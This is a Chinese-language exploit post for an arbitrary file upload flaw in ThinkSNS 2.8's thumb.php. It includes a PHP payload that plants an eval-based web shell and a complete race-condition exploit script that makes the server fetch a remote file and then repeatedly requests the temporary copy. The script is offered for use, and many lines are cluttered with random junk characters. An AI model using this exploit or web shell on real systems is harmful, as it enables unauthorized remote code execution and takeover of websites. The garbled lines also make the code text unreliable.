Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
' S, E8 |% b; r存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
( Z% T7 s4 {' y( x存在漏洞的文件为：thumb.php
( Q0 F% x$ Y2 I+ d4 t2 E- \$ R作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
9 f* G6 q/ x8 Z; w2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
" T7 _3 V0 y- p+ U, i7 |
7 |) ~7 A( B- S" i* b3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
2 u# T! e, k- g' t5 ], f3 M<?php
5 f  y7 y" h0 p4 V+ herror_reporting(0);
) m7 n" E4 ^. z! K& J) Qset_time_limit(0);
9 [  ~2 q; u! a0 q! [! Z: m! W" }ini_set(“default_socket_timeout”, 5);
1 E! n6 ~1 M9 D1 |3 u5 w0 Nfunction http_send($host, $port, $headers) {
$ Z6 Y% |  I( G* N+ C  K0 y$fp = fsockopen($host, $port);
( G+ [; V2 {$ T& E  c$ V' R9 O# Mif (!$fp) die(‘Connection -> fail’);
6 b; X2 @# R' H5 l# K) x  @fputs($fp, $headers);
return $fp;
}
# r  p! q, j& P2 T$ f& {. n9 lfunction http_recv($fp) {
$ret=”";
# B0 @! b- \; x6 V( A& @8 twhile (!feof($fp))
; {1 b" }/ N/ x( c( F$ret.= fgets($fp, 1024);
fclose($fp);
" o+ F! {% O- f4 lreturn $ret;
1 ^, _- d- ]8 X5 u  l' `' G}
' e2 s2 t7 W2 F  G  xprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
9 E: C& h! _" v, e3 \print “# Discovered by 韦鲲鹏 #\n\n”;
7 c$ y( ~& r6 n, }: hif ($argc < 4) {
/ K# }$ f6 y$ N. k, ], j) Q- t" `print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
: Z7 E( H+ K! o% `8 J& n% @}
. L: O2 h' o# e8 a, u$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
: Q" A" P* m  N% Q7 e9 O$i=0;
9 ]) F7 e3 {/ E% n//上传数据包
" j; w. R+ {* L$ }; n4 ^$ z6 L$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
9 A7 H; X$ M1 k2 h+ _$headers_up .= “Host: “.$host.”\r\n”;
# y: V- t* t2 x6 i: ?' ]$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
4 Q. c: X0 M$ H//临时文件访问数据包
; ~1 b( i9 ~3 |! C6 R# r$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
0 D0 r5 B6 }5 c0 W" ^9 j% p% l& z3 ~* h$headers .= “Connection: close\r\n\r\n”;
echo $headers;
while(++$i<10) {
fclose(http_send($host, 80, $headers));
}
fclose(http_send($host, 80, $headers_up));
2 [0 D8 e* J/ T5 bwhile(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
6 J8 S) K- d: _3 b0 V. Z) }$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
9 ^/ t1 I* L' l- Hif(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
} else {
print “Fail!\n\n”;
$ _8 H  u" R: D+ L3 z- r}
: h4 {3 O/ _( k( m" y2 B?>
​